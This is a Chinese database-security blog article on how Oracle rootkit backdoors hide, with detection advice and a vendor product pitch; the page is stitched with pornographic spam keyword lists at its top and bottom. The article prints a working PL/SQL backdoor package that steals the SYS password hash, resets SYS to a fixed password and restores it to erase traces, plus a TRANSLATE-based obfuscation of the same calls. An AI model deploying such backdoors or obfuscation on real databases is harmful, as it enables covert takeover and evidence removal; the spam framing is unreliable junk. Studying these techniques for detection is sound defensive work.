欧美精品一区二区,体育生GAY白袜调教VIDEO,私人影院播放器,色偷偷AV老熟女色欲涩爱

?
內(nèi)容中心
按關(guān)鍵字查找
ORACLE安全隱患系列四——Oracle Rootkits第一式“裸奔”
作者:思成 發(fā)布時(shí)間:2017-12-31

前言

各位小伙伴們,今天咱們接著聊Oracle Rootkits話題。上次主要給各位介紹了數(shù)據(jù)庫后門和Rootkits技術(shù)給數(shù)據(jù)庫帶來的威脅和風(fēng)險(xiǎn)。由于篇幅所限未能深入分析數(shù)據(jù)庫后門和Rootkits所采用的具體技術(shù)。本文則詳細(xì)展開介紹Oracle Rootkits技術(shù)的第一類(裸奔),旨在幫助小伙伴們掌握此類后門Rootkits技術(shù)的特點(diǎn)后,更好地保護(hù)自己的數(shù)據(jù)庫安全。如果有小伙伴們沒有事先了解數(shù)據(jù)庫后門和Rootkits,可以先閱讀一文做個(gè)大致了解。

為什么我們把今天的講題命名為裸奔呢?因?yàn)楹推渌惣夹g(shù)類型比起來,這類用來隱藏?cái)?shù)據(jù)庫后門的Rootkits技術(shù)基本不具備特別的隱蔽技巧,甚至有時(shí)候不加任何偽裝就可以把后門植入到數(shù)據(jù)庫中,完全是鉆了數(shù)據(jù)庫安全檢查產(chǎn)品或數(shù)據(jù)庫運(yùn)維人員疏忽的空子而得以”存活”。受限于攻擊者能拿到的權(quán)限和攻擊者自身水平,大部分?jǐn)?shù)據(jù)庫后門,就是采用系列三中介紹的第一類Rootkits技術(shù)。這類Oracle Rootkits技術(shù)又可以細(xì)分成三種類型:

第一種是不做任何隱藏的數(shù)據(jù)庫后門;

第二種是通過編碼加密的數(shù)據(jù)庫后門;

第三種是通過Oracle warp整體加密的數(shù)據(jù)庫后門。

由于每種使用了不同的隱藏技術(shù)所以在找到這些威脅的時(shí)候所采用的技術(shù)手段也存在很大差異。目前,安華金和數(shù)據(jù)庫攻防實(shí)驗(yàn)室已經(jīng)發(fā)現(xiàn)90多例使用此類技術(shù)的數(shù)據(jù)庫后門。比較典型的案例之一是在去年年底爆發(fā)的針對Oracle的比特幣勒索事件,其所攻擊的數(shù)據(jù)庫后門就是采用此類技術(shù)中的第三種warp加密得以隱身,具體請參見《Oracle比特幣勒索攻擊檢測及修復(fù)工具》。

第一種:不隱身數(shù)據(jù)庫后門

數(shù)據(jù)庫中一個(gè)DBA用戶、一個(gè)函數(shù)、一個(gè)存儲過程、一個(gè)觸發(fā)器,或者幾個(gè)之間相互配合都可以形成數(shù)據(jù)庫后門。為了讓大家更直觀的理解,下面所舉數(shù)據(jù)庫漏洞的例子均采用數(shù)據(jù)庫存儲過程型做代表。

當(dāng)黑客在入侵過程中獲得數(shù)據(jù)庫的DBA權(quán)限后,就可以針對數(shù)據(jù)庫部署后門程序。這種后門存儲過程為了幫助黑客達(dá)成某種目的,必定會對某些關(guān)鍵表,或者高危權(quán)限進(jìn)行操作。例如,下圖的后門dbms_xml通過調(diào)用lock和unlock來控制SYS用戶的密碼,當(dāng)黑客操作unlock的時(shí)候,首先創(chuàng)建表syspa1用于存儲從sys.user$中拿到的SYS用戶的密碼。然后修改SYS密碼為hack11hack'。登錄SYS用戶后,有目的地入侵有價(jià)值的數(shù)據(jù)庫后,利用SYS用戶權(quán)限清理數(shù)據(jù)庫的日志信息。最后使用lock把SYS用戶的密碼還原回去,并刪除中間生成的表syspa1。黑客利用這個(gè)存儲過程既能達(dá)到自己的目的,又能巧妙地隱藏SYS密碼曾被修改的記錄,并將SYS恢復(fù)到修改前的狀態(tài),消除數(shù)據(jù)庫被入侵過的痕跡。

……..

CREATE OR REPLACE PACKAGE BODY dbms_xml AS

PROCEDURE parse (string IN VARCHAR2) IS

var1 VARCHAR2 (100);

BEGIN

IF string = 'unlock' THEN

 SELECT PASSWORD INTO var1 FROM sys.user$ WHERE name = 'SYS'; --11 

 EXECUTE IMMEDIATE 'create table syspa1 (col1 varchar2(100))';

 EXECUTE IMMEDIATE 'insert into syspa1 values ('''||var1||''')';

 COMMIT;

 EXECUTE IMMEDIATE 'ALTER USER SYS IDENTIFIED BY hack11hack';

END IF;

IF string = 'lock' THEN

 EXECUTE IMMEDIATE 'SELECT col1 FROM syspa1 WHERE ROWNUM=1' INTO var1;

 EXECUTE IMMEDIATE 'ALTER USER SYS IDENTIFIED BY VALUES '''||var1||'''';

 EXECUTE IMMEDIATE 'DROP TABLE syspa1';

END IF;

……….

第二種:自編碼加密數(shù)據(jù)庫后門

第一種數(shù)據(jù)庫后門沒采用任何隱身方法,因此,借助工具或者數(shù)據(jù)庫管理員手工排查很快就可以將之揪出,并予以解決。黑客對數(shù)據(jù)庫后門施以隱身技術(shù),最常見的是采取自編碼加密的方式。利用編碼隱藏?cái)?shù)據(jù)庫后門存在的特征,躲避數(shù)據(jù)庫安全工具或數(shù)據(jù)庫管理員的定期檢查。下面仍為后門dbms_xml,但在真正執(zhí)行關(guān)鍵語句前,黑客加入了一段字符串置換的邏輯,通過這種手段把關(guān)鍵操作隱藏起來,下面我們用TRANSLATE來做編碼置換:

………

      FUNCTION conv (input IN VARCHAR2)

         RETURN VARCHAR2

      IS

         x   VARCHAR2 (300);

      BEGIN

         x :=

            TRANSLATE (input,

'ZYXWVUTSRQPOMNLKJIHGFEDCBAzyxwvutsrqponmlkjihgfedcba0987654321 ',

‘1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'

                      );

         RETURN x;

      EXCEPTION

         WHEN OTHERS

         THEN

            RETURN NULL;

      END conv;

……….

函數(shù)conv 可以通過黑客自定義的映射表,把SELECT PASSWORD FROM sys.user$ WHERE name = 'SYS'這句對敏感表sys.user$和敏感字段PASSWORD 的高危查詢就變成了7kdkm6Z0o773a8lZj8acZwqw.uwKx$Z3hk8kZBOCKZ=Z''717。這種方式的Rootkit通過編碼的方式把數(shù)據(jù)庫后門隱藏起來,躲避安全工具的檢查和數(shù)據(jù)庫管理員的偵測。

……….

EXECUTE IMMEDIATE conv ('7kdkm6Z0o773a8lZj8acZwqw.uwKx$Z3hk8kZBOCKZ=Z''717''')INTO var1;                   

 EXECUTE IMMEDIATE conv ('NxKOvKZvOMDKZwqwzOYZ(NADYZtOxNHOxX(YPP))');

 EXECUTE IMMEDIATE conv ('GBwKxvZGBvAZwqwzOYZtODuKwZ(''') || var1 || ''')';

         COMMIT;

………

黑客在調(diào)用存儲過程時(shí),內(nèi)部調(diào)用函數(shù)conv對編碼的字符串作出還原的動(dòng)作,黑客利用該方式消除了第一種方式中后門可能被發(fā)現(xiàn)的風(fēng)險(xiǎn)。這種方法比第一種更加隱蔽,且危險(xiǎn)。

第三種:Oracle warp整體加密數(shù)據(jù)庫后門

雖然第二種方法已經(jīng)成功隱掉了數(shù)據(jù)庫后門的特征,卻引入了新的暴露點(diǎn),因?yàn)榧用芑蚓幋a函數(shù)本身可能會暴露一切。而且解密函數(shù)會直接出現(xiàn)在數(shù)據(jù)中,解密后數(shù)據(jù)庫后門也就難以隱藏了。

于是,很多黑客開始采用warp(筆者不太清楚其他數(shù)據(jù)庫是否存在類似Oracle的warp)對數(shù)據(jù)庫后門進(jìn)行加密。Warp的特點(diǎn)有二:1.Oracle只提供了warp加密并未提供warp解密,給破解后的應(yīng)對帶來一定技術(shù)難度;2.warp加密的存儲過程或函數(shù)在Oracle運(yùn)行態(tài)中自動(dòng)解密并執(zhí)行,無需引入其他變量,這就增加了后門被發(fā)現(xiàn)的風(fēng)險(xiǎn)。dbms_xml用warp加密見下圖所示:

01.jpg

解決方案

看完上述的后門隱身技術(shù),很多小伙伴可能會疑惑:所謂“裸奔”級別的后門隱身技術(shù),哪有想象中那樣簡單啊。特別是第二、第三種方法,找出被它們隱藏的后門還是困難重重的。別急,等你看完安華金和數(shù)據(jù)庫攻防實(shí)驗(yàn)室給大家支的招,你就覺得,這個(gè)技術(shù)也不過如此。

自己動(dòng)手豐衣足食

前述第一種方式相對最簡單,這種方式的數(shù)據(jù)庫后門沒有使用任何隱身技術(shù),想抓捕這種方式下的數(shù)據(jù)庫后門,關(guān)鍵是具備對“三敏感”的捕獲能力。

“三敏感”即敏感表、敏感字段和敏感操作的簡稱。通過sys.source$可以查詢哪些存儲過程或函數(shù)中存在調(diào)用“三敏感”的地方,例如,可以使用類似下方的檢查項(xiàng)來檢查是否存在修改密碼的行為:

select ……… SQLTEXT  from dba_source a,dba_procedures b……

where lower(text) like '%grant%to%identified%by%'……

and lower(text) not like '% wrapped%'………..

……..

把握好“三敏感”的檢查原則,應(yīng)該就可以揪出潛伏在數(shù)據(jù)庫中的第一種數(shù)據(jù)庫后門。而破除第二、第三種后門的隱身技術(shù),則需要破除它們自身所攜帶的編碼/加密保護(hù)。

第二種除了檢查“三敏感”的操作,還需要檢查哪些函數(shù)或存儲過程等使用了解密函數(shù)或者置換函數(shù)。先發(fā)現(xiàn)使用這些加解密或編碼的函數(shù),然后再檢查哪些存儲過程調(diào)用過該函數(shù),最終安排人力進(jìn)行一一排查。

第三種由于warp加密缺乏公開解密辦法,是相對最難清除的一種后門隱身技術(shù),其難點(diǎn)不但在于繁重的人力工作,還需要掌握warp解密的算法。Warp解密算法相對較為復(fù)雜,有很多細(xì)節(jié),本文暫不展開說明。

成熟產(chǎn)品助力解決

尋找數(shù)據(jù)庫中潛伏的后門,需要交給專業(yè)的公司。安華金和的數(shù)據(jù)庫漏洞掃描產(chǎn)品,涵蓋上述三種后門隱身的破解能力,能破解后門使用的上述隱身技術(shù),通過特征揪出潛伏在數(shù)據(jù)庫中的安全威脅,為數(shù)據(jù)庫安全保駕護(hù)航。


?
亚洲精品色情app在线下载观看| 国产专区一线二线三线品牌| 国产精品视频在线观看| 久久久久亚洲AV成人无码电影| 在床上拔萝卜又疼又叫什么病| 艳肉观音性三级dvd| 娇小萝被两个黑人用半米长 | 久久一区二区三区精华液| 女人被躁到高潮嗷嗷叫视频| 99蜜桃在线观看免费视频网站| 国产精品无码久久久久成人网站 | 免费看真人直播| 夜夜躁天天躁很躁| 无码欧美人xxxxx日本漫画| 巨大乳尖奶怀孕| 电影巜喂不饱的妻子| 御书房双乳晃动干柴烈| 国产免费无码又爽又刺激A片| 男男gv资源chinese18| 普通话做受对白xxxxx在线| 男女啪啪做爰高潮全过有多少姿势| 男人呻吟双腿大开男男h漫画在线| gogo人体gogo西西大尺度高清| 疯狂做受xxxx国产| 久久久久无码国产精品一区| 免费av网站| 夜夜躁天天躁很躁| 国产女人被狂躁到高潮小说 | 亚洲精品又粗又大又爽a片| 丰满少妇大力进入av亚洲| 我把小嫩批日出水的视频| 久久久久久久精品无码av少妇| 啦啦啦中文免费视频高清观看| 亚洲国产成人久久精品大牛影视 | 无码刺激性a片短视频| 雨后的小故事| 亚洲日产乱码一二三区别| 成人性爱视频在线观看| 久久热这里只有精品| 久久久久久无码大片a片| 久久av色欲av久久蜜桃麻豆|